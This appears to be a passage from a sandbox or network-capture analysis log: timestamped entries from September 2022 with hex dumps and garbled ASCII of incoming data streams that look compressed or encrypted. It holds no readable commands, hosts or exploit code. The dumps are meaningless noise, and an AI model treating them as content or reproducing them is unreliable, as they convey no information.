da cf 88 b2 2c 3b 53 2d ca 1a ac ec 6b 45 59 af 2c fb 37 b2 2c cb e6 3b 5d e2 31 0e 0f db cb 94 97 35 64 d9 df 93 65 59 
36 df 68 0a 0f 72 78 d8 58 e6 65 4d 59 f6 57 64 59 96 cd 87 3c 1e e5 f0 b0 29 c1 cb fa 64 d9 37 cb b2 2c 9b cf 1c 3c cc 
e1 61 33 8b 97 f5 cb b2 77 cb b2 2c 9b 4f 40 3c ce e1 11 9b b1 b2 07 3e 64 d9 6f bc dd f6 08 c7 a3 ff 44 f4 c1 8f 8d ee 36 
a0 13 b6 d1 09 09 bd 13 b6 b3 5d 23 8e 73 cf be 0f c7 dc cc a4 ef 12 0e 74 ad 89 aa 04 db 31 78 4f 1c 00 af de 25 76 e0 
da 99 0c 57 45 3a 77 46 bf 50 13 79 72 9c 3d 65 52 3d da ba 5b 35 fa f0 ee cd bf f2 d9 ac fd 68 bc ca 2a c1 86 fb 09 54 6e 
f9 95 cf 8e b6 66 ce 8d 3e 9c b9 a5 e6 bd 3c 58 24 
Data Ascii: YO}!x~9p\|^,;S-kEY,7,;]15deY6hrxXeMYWdY<)d7,<a3w,O@<>doD6]#st1xO%vWE:wFPyr=eR=[5h*Tnf><X$

2022-09-20 10:10:08 UTC 5466 IN Data Raw: 14 3f f7 3a 10 31 f0 40 c5 4a ec 36 28 12 28 56 f2 72 58 b9 e4 e6 da e9 d6 81 0c 93 cc 92 0f 1f 99 c4 87 8f 52 
d4 c3 e4 81 0a 93 58 3b 95 ba 5e ab ae d7 a9 eb 75 78 aa 47 c8 03 15 21 2d fe 1a 56 5d c3 a9 6b b8 f8 6b d8 fc 35 1c fe 
9a 56 5d d3 a9 6b ba f8 6b da fc 35 1d fe fa ac ba 3e a7 ae cf c5 5f 9f cd 5f 9f c3 5f bf 55 d7 ef d4 f5 bb f8 eb b7 f9 eb 77 
f8 1b b0 ea 06 9c ba 01 17 7f 03 36 7f 03 0e 7f 83 56 dd a0 53 37 e8 e2 6f d0 e6 6f d0 e1 6f c8 aa 1b 72 ea 86 5c fc 0d d9 
fc 15 e1 ef 40 84 3f 56 d4 1e fe f8 dc 91 d7 ec ec e6 13 22 19 e2 99 6d 17 85 aa f5 c3 a3 d5 2a b6 82 fc e0 fe 1b 6e 17 eb 
af 9f 79 44 ac bf fe d8 23 bb 63 5e b1 00 3b fd 82 58 80 9d c2 07 33 72 69 02 1f 7c 91 4b e3 2f e8 4b b2 2c 56 de c4 14 51 
80 5f bc ed bf c4 2f de be f1 56 1e 4b 
Data Ascii: ?:1@J6((VrXRX;^uxG!-V]kk5V]kk5>___Uw6VS7ooor\@?V"m*nyD#c^;X3ri|K/K,VQ_/VK

2022-09-20 10:10:08 UTC 5473 IN Data Raw: 91 b9 cb 5a 42 a6 ef b4 d8 2d 87 6d 96 1f ba eb 38 ed 89 bb a4 df da 2d f0 df 68 b3 e0 f2 17 ad 44 de 5b ef ba 
4b 75 82 ca c3 ed f1 77 fd 6a 36 8f 7f dc 0e dc c5 4e 31 3b 73 15 4d bc 82 8a fe 21 2f 2a 56 09 22 6c 3c 69 2e 63 8f 9b d7 
a9 5f 41 fb 4c 80 1c 66 f3 94 7d 9b c1 43 16 97 b3 d7 bf af cc ce b9 9a c7 fe ee 8d 89 87 fc 6e 0d f6 4b ff 86 3a 89 fd 88 
09 0a a0 98 ed 47 4c 7e 35 ab ea 38 ab fd 57 77 da 1f 98 c6 29 6d 1c cf b4 ae 69 03 3e 7b 4a de 1a 67 15 b4 6e e0 fd 36 
f1 7e df e7 6e bf 8b bd 7f 9a cd 9e 7c 73 6d b4 73 63 14 1b b4 d3 db bd df f3 2b d9 ec ec 39 7d 56 f6 c1 8d d1 f5 b0 7c 35 
2e 62 84 32 5f f9 0e 66 ba c6 35 d9 54 6a dd b0 fd 50 c9 c7 51 22 ce 7e a5 24 5b 2e 1c 46 89 21 cb cf c2 88 12 2c 2f ce 
a6 00 bd 7a 87 4e 68 86 77 1b b2 0a 26 a0 5b 
Data Ascii: ZB-m8-hD[Kuwj6N1;sM!/*V"l<i.c_ALf}CnK:GL~58Ww)mi>{Jgn6~n|smsc+9}V|5.b2_f5TjPQ"~$[.F!,/zNhw&[

2022-09-20 10:10:08 UTC 5481 IN Data Raw: 0b cf 45 12 4f 1d 44 9e 5c bf 76 cf 7d 89 c8 e5 f5 2f 9e ab ba 1c d9 bc 2f a1 fc 65 a5 ab 8e 2b dd f1 f1 b5 68 76 
94 45 d6 6b 16 12 55 35 0b 4f 56 45 be 7e ff 3a 7f 47 89 81 e0 a2 db dd b1 b7 cd 46 1f 9a 8b 7c 3e 3a 83 33 ec c9 6d 61 
81 73 ef 17 ee ff db c8 e3 b8 e0 78 14 a7 f2 31 f6 39 e2 8f 0c 54 eb 2d 50 46 bc 71 e1 fd 46 01 bc b8 ec 9b dc 10 16 ab c4 
8b ab c0 47 71 09 18 5b 2b 73 de 65 e1 fd 4a 01 bc 58 0c 9b 5c 11 16 8b c4 8b 95 ea 47 b1 3a 17 5b 2a 73 de 79 e1 fd 42 
01 bc 78 ad 19 4b 02 cc 62 96 78 b1 e3 c1 a3 78 91 3a 36 57 e6 bc 53 c2 fb e9 02 78 f1 36 fa e4 b4 b0 18 27 5e ec 3d f1 
28 de 8e 8f 4d b8 f1 aa 08 56 66 d1 6b 44 b0 8c 15 40 8f 2d 05 26 c7 84 c5 10 d1 63 4f 90 47 b1 c7 41 6c b8 cc 7b 7b 40 
78 3f 58 00 ef 00 78 07 85 45 1f f1 f6 83 b7 0f 
Data Ascii: EOD\v}//e+hvEkU5OVE~:GF|>:3masx19T-PFqFGq[+seJX\G:[*syBxKbxx:6WSx6'^=(MVfkD@-&cOGAl{{@x?
XxE

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5489 IN Data Raw: aa 41 f5 7d ad ea fb 3a e4 21 21 56 77 5a 03 3e 48 d0 a1 22 a0 83 70 31 44 d0 7e 82 0e e4 81 f6 c3 2a a0 a0 
4d 05 ed 43 1e 12 62 be d3 82 f6 12 b4 51 04 b4 17 2e 1a 04 ed 21 e8 ea 3c d0 1e 58 55 2b e8 83 5d 82 be ce 3e 3e 8a 
84 18 fb 7c 2a d0 7b bb 12 7a 7f b7 88 cd 45 e1 22 b3 14 9b 8b ee 4a e8 dd dd 3c 9b 8b c2 6a 77 97 a0 d3 0a 7a 07 79 
48 88 ed 9c 16 74 92 a0 53 45 40 27 e1 62 8a a0 13 04 bd 9d 07 3a 01 ab 6d 05 bd a9 a0 b7 90 87 84 d8 96 2b 74 81 bb 
2f c6 99 31 76 5f dc 60 62 6c f7 c5 38 54 37 34 d5 d3 d8 7d 71 75 57 bc 6a c9 6a bb c4 be 45 67 d8 e7 52 6c 64 24 a4 57 
20 bd 0c e9 95 d2 48 2f 0a e9 25 48 2f 42 7a a9 34 d2 f3 42 7a 01 d2 f3 90 5e 28 8d f4 ac 90 9e 83 f4 2c a4 e7 72 4a 97 7
8 0b af 29 51 f9 34 2a 9f 42 e5 d3 a5 e1 1a 17 d2 13 90 1e 87 f4 
Data Ascii: A}:!!VwZ>H"p1D~*MCbQ.!<XU+]>>|*{zE"J<jwzyHtSE@'b:m+t/1v_`bl8T74}quWjjEgRld$W H/%H/Bz4Bz^
(,rJx)Q4*B

2022-09-20 10:10:08 UTC 5497 IN Data Raw: 84 d8 c6 69 0d f8 55 82 5e 2b 02 7a 15 2e ae 11 f4 32 41 af e4 81 5e 86 d5 8a 82 5e 54 d0 4b c8 43 42 6c e9 
b4 a0 e7 09 7a a1 08 e8 79 b8 b8 40 d0 b3 04 3d 97 07 7a 16 56 73 0a 7a 4a 41 4f 23 0f 09 b1 e9 d3 82 1e 27 e8 89 22 
a0 c7 e1 e2 04 41 8f 10 f4 58 1e e8 11 58 8d 29 e8 21 05 3d 8c 3c 24 c4 86 4f 0b 7a 80 a0 07 8b 80 1e 80 8b 83 04 dd 47 
d0 fd 79 a0 fb 60 d5 af a0 7b 14 74 2f f2 90 10 eb 3d 8b e7 a7 1a cf bb a8 ef bb 8b e8 fb 2e f4 54 37 f5 7d 98 fa be 23 4f df 
87 61 d5 a1 fa be 4d f5 7d 3b f2 90 10 6b 3f ad 01 df 4c d0 2d 45 40 37 c3 c5 16 82 6e 24 e8 a6 3c d0 8d b0 6a 52 d0 f5 
0a ba 01 79 48 88 35 9c 16 74 2d 41 d7 15 01 5d 0b 17 eb 08 3a 48 d0 a1 3c d0 41 58 85 14 b4 5f 41 07 90 87 84 58 e0 
b4 a0 4d 82 f6 15 01 6d c2 45 1f 41 7b 09 da c8 03 ed 85 
Data Ascii: iU^+z.2A^^TKCBlzy@=zVszJAO#'"AXX)!=<$OzGy`{t/=.T7}#OaM};k?L-E@7n$<jRyH5t-A]:H<AX_AXMmEA{

2022-09-20 10:10:08 UTC 5505 IN Data Raw: c5 1e 16 a4 ae 51 e8 16 a3 db 1a d0 2d b4 d8 66 74 83 d1 4d 05 74 03 55 4d 81 ae 09 74 1d 7b 58 90 ea f7 
e7 73 43 cf e7 15 9e 7d 55 c3 ec 2b 98 54 95 67 5f e2 d9 97 15 66 5f 42 55 59 cc be 20 66 5f c4 1e 16 a4 a2 51 2f f8 1c 
a3 f3 1a d0 39 b4 98 67 74 86 d1 59 05 74 06 55 59 81 4e 09 74 1a 7b 58 90 d2 46 a1 13 8c 4e 6a 40 27 d0 62 92 d1 31 
46 c7 15 d0 31 54 c5 05 3a 22 d0 51 ec 61 41 8a 1a 85 0e 31 3a ac 01 1d 42 8b 61 46 07 18 1d 54 40 07 50 15 14 68 9f 4
0 fb b1 87 05 c9 6f 14 da c3 68 af 06 b4 07 2d 7a 19 ed 62 b4 5b 01 ed 42 95 5b a0 1d 02 ed c4 1e 16 24 a7 d2 f9 fc ec 8
e bb 2f da e4 62 dc 7d d1 2e 87 c9 77 5f b4 21 d5 fe 54 aa 11 77 5f bc fc 02 5d 6a 79 fd bf 67 0f e5 af ce 9e c8 8f f5 b8 91 
11 45 5f 20 fa 1c d1 17 fa 44 1f 28 fa 88 e8 03 a2 8f fa 44 
Data Ascii: Q-ftMtUMt{XsC}U+Tg_f_BUY f_Q/9gtYtUYNt{XFNj@'b1F1T:"QaA1:BaFT@Ph@oh-zb[B[$/b}.w_!Tw_]jygE_ 
D(D

2022-09-20 10:10:08 UTC 5512 IN Data Raw: 22 7a 83 e8 ad 3e d1 2b 8a 5e 23 7a 85 e8 f5 cb 1a f4 82 0e be c4 c1 17 38 f8 52 1f d7 8c a2 e7 88 9e 21 7a 
ae 4f f4 84 a2 a7 88 9e 20 7a aa 4f f4 88 a2 c7 88 1e 21 7a ac 4f f4 80 a2 87 88 1e 20 7a f8 b2 06 dd a3 83 f7 71 f0 1e 0e 
de d7 c7 d5 a1 e8 2e a2 3b 88 ee ea 13 dd a2 e8 36 a2 5b 88 6e eb 13 dd a0 e8 26 a2 1b 88 6e ea 13 5d a3 e8 3a a2 6b 
88 ae bf ac 41 57 e8 e0 55 1c bc 82 83 57 f5 71 95 28 ba 8c e8 12 a2 cb fa 44 17 28 ba 88 e8 02 a2 8b fa 44 e7 28 3a 8f 
e8 1c a2 f3 fa 44 67 28 3a 8b e8 0c a2 b3 77 0c da 94 77 5f 4c 11 24 fd ab 77 5f c5 2a 3f f7 ec 71 9a 2a 12 32 17 57 b1 26 
7f 15 7f 68 f8 55 fc a1 e1 57 df 32 f5 55 bb 31 ea 3e ae c2 1b 83 37 4e 15 11 f6 46 e1 8d c0 1b 35 b9 37 44 dd 87 55 78 
43 f0 86 a9 22 c0 de 20 bc 01 78 83 26 f7 fa a8 7b bf 
Data Ascii: "z>+^#z8R!zO zO!zO zq.;6[n&n]:kAWUWq(D(D(:Dg(:ww_L$w_*?q*2W&hUW2U1>7NF57DUxC" x&{

2022-09-20 10:10:08 UTC 5520 IN Data Raw: 7b b7 0a af 0b 5e 37 55 38 d8 eb 84 d7 01 af d3 e4 5e 1b 75 6f 57 e1 b5 c1 6b a7 8a cb 9f 3d 79 af 7e 56 f6 ca 
5f 9f 49 f2 63 33 7b cf 7f 96 de 11 fe ec dd 5e f9 b9 67 8f 2f a8 e2 c0 de 23 bc 07 78 8f 26 f7 ee a8 fb bd 0a ef 0e de 3d 55 
6c d8 bb 85 77 03 ef f6 36 af 69 cf 5e 2b b2 ac 55 e8 57 d0 af a9 62 c1 fa 25 f4 0b e8 97 26 9f f6 8c ba 9f ab f0 ce e0 9d 
53 c5 84 bd 53 78 27 f0 4e 4d ee 1d 51 f7 63 15 de 11 bc 63 aa 18 b0 77 08 ef 00 de a1 c9 bd 3d ea be af c2 db 83 b7 4f 
15 1d f6 76 e1 ed c0 db 35 b9 b7 45 dd b7 55 78 5b f0 b6 a9 a2 c1 de 26 bc 0d 78 9b 96 3a 7b d5 c8 52 57 a1 af 41 5f a7 
8a 0a eb ab d0 57 a0 af 9a 7c da 25 ea be ac c2 5b 82 b7 4c 15 05 f6 16 e1 2d c0 5b 34 b9 37 47 dd e7 55 78 73 f0 e6 a9 
22 c3 de 2c bc 19 78 b3 26 f7 a6 a8 fb b4 0a 
Data Ascii: {^7U8^uoWk=y~V_Ic3{^g/#x&=Ulw6i^+UWb%&SSx'NMQccw=Ov5EUx[&x:{RWA_W|%[L-[47GUxs",x&

2022-09-20 10:10:08 UTC 5528 IN Data Raw: f2 6b 5f aa 5d 7f d9 10 1b a7 97 e7 e3 c6 57 c5 eb f4 51 f2 e6 45 fa ff fe 23 bc 48 f9 1b b2 b8 f9 5f bb ac 95 f7 ff 
48 fa dd 9b 03 b5 f0 f2 fa f2 2b 0d 3c 78 e6 65 8f 6f f1 33 2f dc 7f b8 7d fb f7 e6 f6 9f a8 2f 3e 38 c7 0f f2 7f 4a 3f 27 c9 bf 
75 f3 73 f2 9c 9f a8 7f 79 d3 2c ff 18 dd 7c 7f ce e5 1f ea cf 3c 73 fc 3f f8 97 9a 7e 70 de 4b 3f 22 3f 28 7e 44 fe e7 f4 ea 
79 fb cb e8 d5 87 0f 4f af 69 55 3f 2f fb e7 fd bc fc b3 9b 9f 17 bc 5a e5 9f 1a f9 15 57 56 7a 8d fe c2 bf 7d db 6b 54 bf 9f 
30 f9 fb 2c 77 77 7d 94 bf f5 7e 8f ed 1d 3f 44 ef fc 39 bb f9 f9 f8 97 b7 fd 7c bc f7 5f dc fe 1a 10 df 7d f9 bb f2 de ff 09 be 
e5 df f9 db 3f f2 be dd ee 3a a1 fc 1f 5d 3f b0 5d e7 97 ff dc f5 83 9a fc c0 25 af bc eb fa 01 3d 35 44 2f 96 ff fa bb f0 7d ff 
dc e1 5d 
Data Ascii: k_]WQE#H_H+<xeo3/}/>8J?'usy,|<s?~pK?"?(~DyOiU?/ZWVz}kT0,ww}~?D9|_}?:]?]%=5D/}]

2022-09-20 10:10:08 UTC 5536 IN Data Raw: 40 dd 1b cd 07 a8 dd d7 18 03 54 19 4c 6c a3 63 07 b7 7d 89 73 80 47 c7 68 11 88 ee 5e ad 02 a2 c7 46 5a 
01 a2 8b 47 fa 03 44 07 e9 cb 52 00 d1 76 aa ab f5 80 e8 a0 cf f4 81 e8 a5 11 fe 01 d1 65 1a f7 eb 01 d1 63 4b cd 03 d1 
16 87 4c 02 d1 d0 11 7e 03 d1 3e 4b e5 c1 63 1c c4 bd 79 10 3c 8e 40 f0 c8 5a 8c 82 87 4d 69 84 06 10 9d f2 de ff 3f 10 
7d f7 a3 ff 0b 20 ca 39 d9 e3 c0 70 8b 40 34 7b b8 65 e8 95 30 dc 22 10 d5 39 d9 c3 00 88 6e 1c ed d7 c9 1e c5 ef 72 5e 
0a fc 2f 90 d1 ca 38 7b b2 c7 28 79 69 1c 32 df dd 4b 24 2f 62 4b e3 83 2a 14 10 ac 83 58 1a 77 4a a5 71 05 04 cb e6 57 
c6 ff 27 d9 2c cc 0a 97 c1 ac be 9a 30 cb b9 44 83 b6 ac e0 c3 2c 19 aa 1a 99 6c 84 aa 74 cf 15 89 48 f6 1b 55 f5 64 51 
15 ad 42 f0 61 c2 33 8b f9 30 61 23 04 84 ae 41 34 20 4c c9 
Data Ascii: @TLlc}sGh^FZGDRvecKL~>Kcy<@ZMi?} 9p@4{e0"9nr^/8{(yi2K$/bK*XwJqW',0D,ltHUdQBa30a#A4 L

2022-09-20 10:10:08 UTC 5544 IN Data Raw: c8 12 55 14 3c 9b 7a 67 36 35 c3 aa 93 fe 96 53 6d e1 57 ca a9 fc 89 4e ae 70 63 e7 6c 76 e3 38 7a 63 5f f9 
46 e9 93 8a e8 a7 df 1a 87 46 ae c6 86 a9 64 f4 28 9a 15 c6 fc 0f cd f5 d1 e7 7e 79 cd a0 bf ec 58 8e c2 92 9c 6e f2 37 d8 
b3 d7 8e 3c 4b d7 71 fc 0d fd e8 2e 38 c2 5f 12 c2 6d 80 91 fb 62 a4 cd 3b b9 cf e8 ba d3 50 89 b7 ed 8d fb e8 33 84 bd 
97 e8 78 b0 9f 2e 0b 3c 4b 97 05 f6 d1 65 81 bd fc 74 5e 41 6d e7 aa 6c 4b 9f 7a 89 76 86 ee 30 b8 1e 3f e5 3a 49 95 e1 
2a 87 3f f5 af 87 c3 e7 2a 9b 72 5f f7 3f db a9 f2 de a2 f7 9f 44 37 7d 49 92 fb ab b7 41 6e 12 fa 95 d8 72 da c3 48 09 3d 
22 12 9f 3d 46 d7 b4 4a 1a c6 93 0b 8a 42 12 e5 6f 44 21 b9 bd e8 43 ac 97 c2 43 07 f2 1f 03 d8 02 ce be 92 31 c3 fa 56 
09 99 a8 e6 d3 b9 b2 84 85 96 d3 d8 17 ec c1 80 3f 
Data Ascii: U<zg65SmWNpclv8zc_FFd(~yXn7<Kq.8_mb;P3x.<Ket^AmlKzv0?:I*?*r_?D7}IAnrH="=FJBoD!CC1V?

2022-09-20 10:10:08 UTC 5551 IN Data Raw: be 63 2f 90 e8 2d 1c 32 d6 b2 b9 27 1a 2b 87 88 43 bf 68 f3 83 04 4f 86 cf 68 33 ec 84 b1 9d c3 de fe 92 84 ed 
40 d8 eb 4a 9d e1 a2 87 1b eb 20 a9 e6 3a 77 55 b8 8c a4 86 60 48 e8 e5 85 09 90 64 0e 7b 31 ac a0 54 d1 99 6f ec 61 
e3 0a 5a 4a 18 44 a5 30 06 77 31 90 55 35 62 f1 5c 16 cb c8 ed 58 27 38 64 dd 10 1e d9 0d 05 cb 37 d8 6c e1 b6 47 46 
51 ae 02 ca de 72 05 64 9c dd 2c c9 58 11 2d be ae ff 1b cc 07 cc a7 af 7b 83 1f 65 2f ed 56 4a c8 4e 3e 59 4d 63 28 f1 
41 14 cf 11 0e a7 17 70 cc fe b6 05 82 df 6f 85 b6 3b ae 00 85 f9 02 85 96 09 51 38 88 4c 4f 75 ad 1e 32 14 d7 93 fb 3d c8 
33 3e 60 8c 4b c6 b7 d0 41 56 f2 c8 a8 8d 98 ad b5 b8 b5 07 08 7d 17 6e 72 b0 16 cb 3d e2 9f e0 ff 69 90 c4 b8 1c 8a 10 
20 2e 1f 8f a5 6d ff a5 54 48 bf e9 42 7c eb af 00 df 9d 
Data Ascii: c/-2'+ChOh3@J :wU`Hd{1ToaZJD0w1U5b\X'8d7lGFQrd,X-{e/VJN>YMc(Apo;Q8LOu2=3>`KAV}nr=i .mTHB|

2022-09-20 10:10:08 UTC 5559 IN Data Raw: f4 53 19 8a 7e ce 6e d1 a0 9f 6b 22 a0 9f 55 9b 43 d0 4f ac f5 bb a1 9f 59 7e 15 fd 54 44 46 3f 6b 11 fd 38 42 
d1 cf 68 34 d2 b4 03 00 ba 0d 1d 8b ed e1 11 10 3c 1b 04 02 ed 31 40 a0 8d df 11 02 b5 dc 3e 14 08 b4 bd d0 04 02 7d 
60 84 40 9b 6f ff 01 20 50 8e 02 81 ee 8e 0e 02 dd 10 16 02 8d 0c 85 40 f0 a9 a9 10 48 be 52 10 e8 c5 10 08 b4 d9 04 02 
65 22 04 72 30 08 e4 3b 65 80 40 79 08 81 42 25 b4 16 02 a5 70 08 04 1f 23 c5 40 07 f5 32 ed c9 28 30 d0 6b b7 aa aa 
ee be 15 6e ff 6c cd ee 5b 3e 0b 5f 59 13 c0 70 51 7d 5b e8 a4 20 52 3b 5f 9f 6f 75 da 19 66 e0 ec 23 48 08 d5 47 5a 02 
65 80 4f ca 4c 92 d2 12 c5 c3 65 5f 59 c4 ff 11 bd 65 e7 2c 62 ab 38 00 fb 50 45 49 86 d8 2e d7 f4 8c b3 68 d6 ff 7e fe 25 
8b 4a 47 84 73 60 ad 29 63 eb 3c 1e 65 97 0c b5 64 93 7c 
Data Ascii: S~nk"UCOY~TDF?k8Bh4<1@>}`@o P@HRe"r0;e@yB%p#@2(0knl[>_YpQ}[ R;_ouf#HGZeOLe_Ye,
b8PEI.h~%JGs`)c<ed|

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5567 IN Data Raw: cd 0b 33 b8 e8 4c e0 df c9 5a 61 d4 e5 24 ac 4a 7b 91 2f b5 1c b8 d4 4a eb a8 09 43 0f e7 3f 1e b4 62 51 84 
af e8 cd 0a 2b ef d4 e3 c0 92 c4 49 2f 8c 81 dc 5e 6d a5 4f de df ca 20 bc 57 0f 07 2b bc a3 a1 e6 c2 2b 23 96 dc 1a c6 59 
d2 d1 ca 58 f2 0a 6b ac 94 ef 68 bc b3 2a a4 98 96 65 fe 15 f3 a5 53 1e 59 13 ae ef f0 cd a8 04 ea dd 3b 4c fd 6b f6 63 b1 
53 f6 1f 44 37 d4 3b 45 a7 1d 67 17 d1 5f 25 36 01 fd 55 d4 89 64 c8 59 dc 23 d3 9d 83 88 6b b9 03 59 6d f5 33 87 3b 0f 
99 cf cd 4d cf 70 0c fc 9e 1e 62 ce 6f 3b 71 6a 10 f1 7b a3 17 6e ae 04 2b b2 60 3b f2 fb 79 3c b2 41 1e c4 22 0f f0 98 66 
f3 51 38 a7 ab 0c fb 32 e1 59 a7 c5 27 11 f3 59 77 e2 b3 5c 2a 43 03 48 a5 ec 84 41 2a d3 b7 9b 4a 65 d4 76 53 a9 0c d8 
6e 26 15 25 23 5d b1 a0 cb b5 4f 2a 1d 45 a9 2c 
Data Ascii: 3LZa$J{/JC?bQ+I/^mO W++#YXkh*eSY;LkcSD7;Eg_%6UdY#kYm3;Mpbo;qj{n+`;y<A"fQ82Y'Yw\*CHA*JevS
n&%#]O*E,

2022-09-20 10:10:08 UTC 5575 IN Data Raw: b4 ac 27 03 f3 c3 07 f1 b8 9d e7 fb 1f c2 c8 9d 2e a6 91 7e 96 1a 27 ea 3b ee 5d 4b e2 bb 28 d8 59 b6 a4 69 
30 c7 d7 c0 7f 50 26 78 16 cb bc c3 c9 b3 1e 50 ef 83 26 b2 32 77 31 95 f6 f2 5f 4c e1 c7 e1 57 f5 5d 31 ce 4e eb e7 81 
96 ea 83 10 5c 95 8d de 31 a2 3a c2 c7 71 33 af 52 38 55 c9 30 ae ea c1 25 bd 3c 94 b4 ec 74 7a f4 42 b8 bd 97 44 b7 f7 
96 76 4f ed c7 4d 44 72 3a ce cb e1 bb ad f5 f0 ac 9d 0d 4f 31 9e ee 07 df d4 ce 86 03 6d b4 8b 41 40 6e 0a e4 7a 59 57 
cc 66 c3 41 ac b0 1d 29 a3 76 46 88 99 dd 52 93 55 c9 de 9f 65 3d 13 6c 59 a3 e7 70 ba 44 cb 21 52 c7 61 3c 71 b8 0d 
38 54 f0 c2 61 70 cd 42 99 5f 72 7a 88 e3 81 d1 c3 f8 20 23 cf 3e 39 6e ca 2d 63 b9 07 72 4e b1 27 18 e9 d0 52 40 cd fc 
22 71 b0 78 9a c2 fd 25 c1 fa 87 93 b6 36 84 40 91 01 49 83 
Data Ascii: '.~';]K(Yi0P&xP&2w1_LW]1N\1:q3R8U0%<tzBDvOMDr:O1mA@nzYWfA)vFRUe=lYpD!Ra<q8TapB_rz #>9n-c
rN'R@"qx%6@I

2022-09-20 10:10:08 UTC 5583 IN Data Raw: 3b 7c 9a 46 57 81 ba 71 17 39 4a e2 b5 0c 90 36 7f c0 51 a8 eb a8 40 e3 c9 2c 84 24 36 88 f1 18 2a 6a 3b 3b 
f7 b6 98 4e 92 7e fe 0b 15 f3 78 df 95 33 d4 4c b6 f4 62 26 ee 24 e2 3b cd 94 95 c6 14 25 53 98 6d d9 3a 64 ea 06 85 f2 
84 ee ed 9f 6f 24 95 eb 20 cb 4e 47 a1 a7 46 5f e8 28 84 ab a9 0e de f2 f2 6c 0c 57 8f bc 5c 25 1e 1f d5 18 3d c8 07 b9 ef 
f7 a9 b0 fa c4 0a 35 45 ac 94 f2 73 2d 6d 4b ea 5f a1 71 20 cf 4b fa 6b 66 49 8b bd 50 19 ef 90 29 5f b4 a6 26 88 80 92 
26 05 e9 ac 3d 45 7c a9 3a a6 9f 01 f9 c8 4a 82 c0 01 7b 5c 4e be 21 ad f3 21 22 2d f9 a7 6b e1 d3 03 f0 6e 3c 42 28 c7 
e6 fc 06 65 90 d0 05 f0 12 1e 81 2d 7b 38 07 1e ae 4c b2 89 b3 ad c2 d2 d3 10 fa 10 c6 13 4e dc 44 cf 07 27 b4 9e 23 0a 
9d 0e 21 d8 5f 7a 09 aa 2d b4 2b a9 de 24 2f fc 71 18 
Data Ascii: ;|FWq9J6Q@,$6*j;;N~x3Lb&$;%Sm:do$ NGF_(lW\%=5Es-mK_q KkfIP)_&&=E|:J{\N!!"-kn<B(e-{8LND'#!_z-
+$/q

2022-09-20 10:10:08 UTC 5591 IN Data Raw: 5b 4d f4 f1 c3 94 8c 02 d8 c0 71 9d 49 f1 82 dd 59 26 c8 a1 b8 0c 00 ab 23 1c 5f fb 35 20 58 1d 27 05 1a f4 ca 
77 c2 93 44 af 75 a9 67 c0 97 cd d6 e7 69 1c 0f de 1b 56 73 94 6a 64 b9 a0 2f 60 79 d6 38 66 37 cd 95 97 a0 e0 31 04 9d 
0d 31 2a e6 5e 0e 51 20 05 d2 3f 5b d1 63 f6 48 b0 a2 20 a3 ed 08 b8 12 fd 8a d3 4c 71 96 35 33 f5 ca 08 ae 5e e8 2c bb 
76 0f 99 a6 89 5d 26 a6 34 ec f4 53 d1 67 22 d8 26 91 11 e9 b2 95 10 ba 4d 3a 49 cd 80 f7 d1 da 90 fa c7 14 ef f1 37 35 
76 b5 33 bb 1d 4a 06 4f 80 ec de 61 d9 60 d6 4f 03 db 3a 60 01 4b 1b d3 d6 b7 55 99 b5 0e 54 c8 d9 37 34 de 4c ae 90 
30 b5 10 d7 c0 85 2c df 1a 63 b8 0a 59 13 ea 25 cd 5f 60 a6 4b b9 28 a8 a5 58 1e ac 41 76 a6 4c ec cc f6 b0 19 d5 a8 c3 
40 df 7b 54 f4 76 8a 1e ba fc 78 a5 45 e9 22 ef 08 20 84 
Data Ascii: [MqIY&#_5 X'wDugiVsjd/`y8f711*^Q ?[cH Lq53^,v]&4Sg"&M:I75v3JOa`O:`KUT74L0,cY%_`K(XAvL@{TvxE" 

2022-09-20 10:10:08 UTC 5598 IN Data Raw: 75 2f d6 0d d6 00 a2 aa 7e 86 70 84 28 d6 cc 57 99 73 4a 67 62 51 ac ea 19 f0 54 e2 10 97 ec 86 92 5f bf 00 
17 05 4c 92 68 be b9 c1 3f 5b 4c 46 1e 11 fc 6c 79 32 5a a9 5f 72 29 75 ad 57 90 83 ca 6f 15 73 b2 fc c5 d3 31 f2 bb f4 61 
05 2b af 37 cc dd 5c ba 81 7f 2d 44 5d f8 fc ed 01 60 82 84 dd a3 0a df c9 d1 76 67 57 e0 85 93 74 f1 d4 16 9b 18 9c 98 
cb 7f 12 d5 94 4a 4b 49 57 b0 a3 b8 ca 97 d1 b3 27 7d a7 eb 4b 3c a6 82 a0 56 78 e7 49 af cb fc 52 8d 94 95 b5 85 7e 5f 
5e 78 fc c6 16 83 f9 7c 0c 22 56 1b 64 ff 23 62 4b 7a 83 1c 55 4b 72 d4 ab b0 b2 cf d3 02 87 2e 9d 65 2b e0 1f 36 b1 2e 
d1 66 f7 b4 84 02 35 ef 4d de 3c 9e 58 7c 54 c4 c4 9c ca 9a d3 74 43 bd 90 6b 7e b5 9b b7 b4 f5 07 70 d2 ca 45 2a 2c 15 
6c 8b e7 02 e6 53 5b d7 e0 f6 e2 bc 3e c9 e7 d5 ed 55 
Data Ascii: u/~p(WsJgbQT_Lh?[LFly2Z_r)uWos1a+7\-D]`vgWtJKIW'}K<VxIR~_^x|"Vd#bKzUKr.e+6.f5M<X|TtCk~pE
*,lS[>U

2022-09-20 10:10:08 UTC 5606 IN Data Raw: e6 3f e1 7b 6e fe 0d 83 79 3b fd 91 cc ff ce 6c 66 fe 8d b3 f9 ca 56 2d cf 44 1a 60 7d 63 81 1b ae 7c ad 1c c6 
dd 38 e0 94 42 cd 49 21 9c a0 e7 61 23 f9 40 0d 74 73 38 d4 fb cb d9 04 9a 94 99 d5 ba 55 bc 2e 56 35 32 9b 98 18 7e 
cd 8e 49 01 b3 73 af 7b 76 80 07 52 f1 50 0e e7 3f 6b e5 2c ca 51 cb 39 94 e4 4c 21 39 87 d0 0e e7 ab 59 4c ce 1b 73 a4 
54 c1 6d 3e 6a 29 98 24 35 cb 18 8a 60 ac 86 f2 04 0d e5 61 44 f9 1e a0 7c 64 16 5f b8 26 04 71 95 03 29 63 d8 2b b1 e9 
10 16 3f 7f 4d be 99 74 e4 47 5f 82 3a af af 39 41 81 93 2a 74 4b 5f cb e0 b9 b3 f4 75 60 22 49 20 36 d9 9f 01 7f 90 ab 33 
a5 94 b1 d3 2d ee c4 aa 91 4c 41 f6 b5 e0 e8 53 da 84 89 f3 1e cb ee 0e ee 87 bb fb 5a b5 8f 1a e0 51 2b 9a 78 8e 69 94 
